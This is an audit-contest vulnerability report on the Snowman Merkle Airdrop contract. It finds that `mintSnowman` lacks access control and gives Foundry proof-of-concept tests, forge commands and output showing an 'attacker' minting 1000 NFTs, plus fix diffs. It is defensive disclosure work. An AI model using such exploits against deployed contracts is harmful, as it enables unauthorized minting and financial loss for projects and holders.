Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

`Snowman::mintSnowman` has no access control, allowing anyone to mint unlimited Snowman NFTs without going through the `SnowmanAirdrop` merkle/signature verification

`Snowman::mintSnowman` has no access control, allowing anyone to mint unlimited Snowman NFTs without going through the `SnowmanAirdrop` merkle/signature verification

Description

`Snowman::mintSnowman` is declared external with no caller restriction (no onlyOwner, no check that msg.sender == address(snowmanAirdrop), and no cap on amount).
```solidity
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
```

Risk

Likelihood: HIGH

  • No preconditions, exploitable by any address at any time

Impact: HIGH

  • Direct loss of funds, unauthorized minting, protocol insolvency, complete loss of a core security mechanism

  • Any address can call `mintSnowman` directly to mint an arbitrary number of Snowman NFTs to any recipient without ever going through `SnowmanAirdrop::claimSnowman`'s merkle proof verification, EIP-712 signature check, or claimed-status tracking, completely defeating the airdrop's eligibility gating and allowing unbounded, cost-free minting of the protocol's NFT.Proof of Concept


Proof of Code

Paste the following tests inside the `TestSnowman.t.sol` test suite:
```solidity
function test_AnyoneCanMintSnowmanDirectly_NoMerkleProofRequired() public {
address attacker = makeAddr("attacker");
uint256 balanceBefore = nft.balanceOf(attacker);
vm.prank(attacker);
// Directly calling mintSnowman with an arbitrary amount,
// completely bypassing SnowmanAirdrop.claimSnowman() and its
// merkle proof / signature checks.
nft.mintSnowman(attacker, 5);
uint256 balanceAfter = nft.balanceOf(attacker);
console2.log("Attacker balance before:", balanceBefore);
console2.log("Attacker balance after:", balanceAfter);
// If this passes, mintSnowman has no access control
// and any address can mint arbitrary amounts of NFTs for free.
assertEq(balanceAfter, balanceBefore + 5, "Attacker successfully minted without going through the airdrop claim flow");
}
function test_AttackerCanMintUnlimitedSupply() public {
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
nft.mintSnowman(attacker, 1000);
vm.stopPrank();
assertEq(nft.balanceOf(attacker), 1000, "No cap enforced, no eligibility check, no caller restriction");
}
```
Run the first test in the terminal:
```bash
forge test --mt test_AnyoneCanMintSnowmanDirectly_NoMerkleProofRequired -vvvv
```
If the test passes, anyone can mint the Snowman NFT directly with no MerkleProof, participating in the Airdrop, or even holding Snow token.
Run the secon test in the terminal:
```bash
forge test --mt test_AttackerCanMintUnlimitedSupply -vvvv0
```
If this test passes, an attacker can mint an unlimited amount of the NFT.

Recommended Mitigation

Recommended mitigation: restrict `Snowman::mintSnowman` to only be callable by the `SnowmanAirdrop` contract address.
```diff
+ address immutable public i_airdropContract;
// >>> CONSTRUCTOR
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender)
+ constructor(string memory _SnowmanSvgUri, address _airdropContract) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
+ i_airdropContract = _airdropContract;
}
+ error Snowman__NotAirdropContract();
+ modifier onlyAirdrop() {
+ if (msg.sender != i_airdropContract) revert Snowman__NotAirdropContract();
+ _;
+}
...
// >>> EXTERNAL FUNCTIONS
- function mintSnowman(address receiver, uint256 amount) external
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop{
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!